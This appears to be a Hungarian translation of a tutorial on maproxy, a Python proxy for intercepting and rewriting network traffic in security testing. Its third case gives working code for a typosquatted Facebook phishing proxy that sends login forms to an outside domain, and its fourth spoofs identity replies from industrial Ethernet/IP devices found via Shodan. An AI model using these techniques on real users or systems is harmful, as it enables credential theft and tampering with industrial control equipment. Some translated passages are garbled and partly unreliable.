A cikk fordítása a kurzus megkezdése előtt készült .

Összefoglaló
A biztonsági értékelés különböző formái, kezdve a rendszeres behatolási tesztektől és a Red Team műveletektől egészen az IoT/ICS-eszközök és SCADA hackeléséig, magukban foglalják a bináris hálózati protokollokkal való munkát, azaz lényegében a hálózati adatok lehallgatását és módosítását a kliens és a cél között. A hálózati forgalom lehallgatása nem bonyolult feladat, mivel ilyen eszközök állnak rendelkezésre, mint a Wireshark, Tcpdump vagy Scapy, azonban a módosítás egy nehezebb feladatnak tűnik, mivel szükségünk lenne egy speciális felületre az adatok olvasásához, szűréséhez, valós időben történő módosításához és visszaküldéséhez a célgépre. Továbbá ideális lenne, ha egy ilyen eszköz automatikusan tudna dolgozni több párhuzamos kapcsolaton és lehetőség lenne a testreszabásra is.
Egyszer felfedeztem egy eszközt, amelyet úgy hívnak, hogy , a dokumentáció gyorsan megmutatta nekem, hogy maproxy – éppen az, amire szükségem volt. Ez egy viszonylag egyszerű, univerzális és könnyen konfigurálható TCP-proxi. Teszteltem ezt az eszközt néhány elég összetett alkalmazáson, beleértve az ICS-eszközöket (amelyek sok csomagot generálnak), hogy megtudjam, képes-e több párhuzamos kapcsolattal dolgozni, és az eszköz jól teljesített.
Ez a cikk bemutatja Önnek a hálózati adatok valós idejű feldolgozását a segítségével maproxy.
Áttekintés
Eszköz maproxy amely a Tornado-n alapul – egy népszerű és fejlett aszinkron hálózati keretrendszer a Python nyelvhez.
Összességében több üzemmódban tud működni:
TCP:TCP– titkosítatlan TCP-kapcsolatok;TCP:SSLésSSL:TCP– egyirányú titkosítással;SSL:SSL– kétirányú titkosítás.
Könyvtár formájában érkezik. A gyors indításhoz a könyvtár alapvető :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
1. eset – egyszerű kétirányú proxy
Alapján tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() már tartalmaz egy előre létrehozott önaláírt TLS/SSL tanúsítványt. Ennyi nekem elegendő, mivel zárva tartom a külső hozzáférést. Azoknak, akik más típusú tanúsítványokat szeretnének használni, van ProxyServer() két argumentumot vár – a kapcsolat helyét és a célt portot. server.listen() egy argumentumot fogad – a bejövő kapcsolatok hallgatási portját.
A szkript végrehajtása:
# python tcp2tcp.py A teszt lefolytatásához csatlakozni fogunk egy helyi SSH-szerverhez a proxy-szkriptünkön keresztül, amely a 2222/tcp a portot és az alapértelmezett portra csatlakozik 22/tcp SSH szerverek:

A köszöntő banner arról tájékoztat, hogy példascriptünk sikeresen proxyzott hálózati forgalmat.
2. eset – adatmódosítás
Másik demó script logging_proxy.py tökéletesen alkalmas hálózati adatokkal való interakcióra. A fájl megjegyzései leírják azokat a osztályok metódusait, amelyeket módosíthat a célja elérése érdekében:

A legérdekesebb itt:
on_c2p_done_read– az adatok elfogására az ügyféltől a szerverig;on_p2s_done_read– az ellenkező irányba.
Próbáljuk meg módosítani az SSH banner-t, amelyet a szerver küld a kliensnek:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Futtassa a scriptet:

Ahogy látja, a kliens megtévesztő információt kapott, mivel az SSH szerver neve "DumnySSH"-ra változott. «DumnySSH».

3. eset – egyszerű phishing weboldal
Ennek az eszköznek végtelen felhasználási lehetősége van. Ezúttal nézzünk meg valami praktikusat a Red Team műveleteiből. Utánozzuk a landing oldalt m.facebook.com és használjunk egy egyedi domaint szándékos elírával, például m.facebok.com. A bemutató érdekében egyszerűen tegyük fel, hogy a domaint mi regisztráltuk.
Nemes kapcsolatot fogunk létesíteni a célpontunk proxyjával és SSL Stream segítségével a Facebook szerverhez (31.13.81.36). Ahhoz, hogy ez a példa működjön, módosítanunk kell a HTTP host fejlécre vonatkozó címét, és be kell illesztenünk a helyes host nevet, továbbá ki kell kapcsolnunk a válaszok tömörítését, hogy könnyen hozzáférhessünk a tartalmukhoz. Végső soron módosítjuk a HTML űrlapot, hogy a bejelentkezési adatok hozzánk kerüljenek, ahelyett, hogy a Facebook szerverekhez mennének:
[…]
def on_c2p_done_read(self,data):
# a Host fejléc cseréje
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# a tömörítés kikapcsolása
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# válasz részleges cseréje
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Végül:

Ahogy látja, sikerült az eredeti weboldalt becsapnunk.
4. eset – Ethernet/IP módosítása
Elég hosszú ideje foglalkozom ipari eszközökkel és szoftverekkel (ICS / SCADA), mint például programozható logikai vezérlők (PLC), bemeneti-kimeneti modulok, hajtások, relék, létra programozási környezetek és még sok más. Ez az eset azoknak szól, akik szeretik az ipari dolgokat. Az ilyen megoldások feltörése aktív játékot jelent a hálózati protokollokkal. A következő példában szeretném megmutatni, hogyan módosíthatja az ICS/SCADA hálózati forgalmát.
Ehhez a következőkre lesz szüksége:
- Hálózati figyelőre, például Wireshark-ra;
- Ethernet/IP vagy egyszerűen SIP-eszközre, amelyet a Shodan szolgáltatással találhat meg;
- A mi scriptünkre, ami alapja:
maproxy.
Először nézzük meg, hogyan néz ki egy tipikus azonosító válasz a CIP (Common Industrial Protocol) protokolltól:

Az eszköz azonosítása Ethernet/IP protokollal történik, amely az Ethernet ipari célú kiterjesztett változata, és mely a vezérlési protokollokat, például a CIP-t öleli fel. Meg fogjuk változtatni a megjelenített azonosító nevet, amely a képernyőképen látható. „NI-IndComm for Ethernet” a proxy-skriptünkkel. Újra felhasználhatnánk a szkriptet logging_proxy.py és hasonló módon módosíthatnánk a class metódust, on_p2s_done_readmivel szeretnénk, hogy a kliens egy másik azonosító nevet lásson.
Kód:
[…]
def on_p2s_done_read(self,data):
# a válasz részleges cseréje
# Ellenőrzés, hogy megkaptuk-e a List Identity üzenet válaszát
if data[26:28] == b'x0cx00':
print('Válasz érkezett, csere folyamatban')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Alapvetően az eszköz azonosítását kétszer kértük, a második válasz – az eredeti, az első pedig a helyszínen módosított volt.
És végül
Szerintem maproxy egy kényelmes és egyszerű eszköz, ráadásul Python nyelven készült, ezért úgy gondolom, hogy Ön is profitálhat a használatából. Természetesen léteznek bonyolultabb eszközök a hálózati adatok feldolgozására és módosítására, de ezek is több figyelmet igényelnek, és általában konkrét használati forgatókönyvhöz készülnek, például, , vagy a harmadik esetekhez hasonlóan, vagy pedig az utolsó esethez. Így vagy úgy, a maproxy segítségével gyorsan megvalósíthatja a hálózati adatok elfogására irányuló ötleteit, mivel a szkript példák nagyon szemléletesek.
Forrás: habr.com
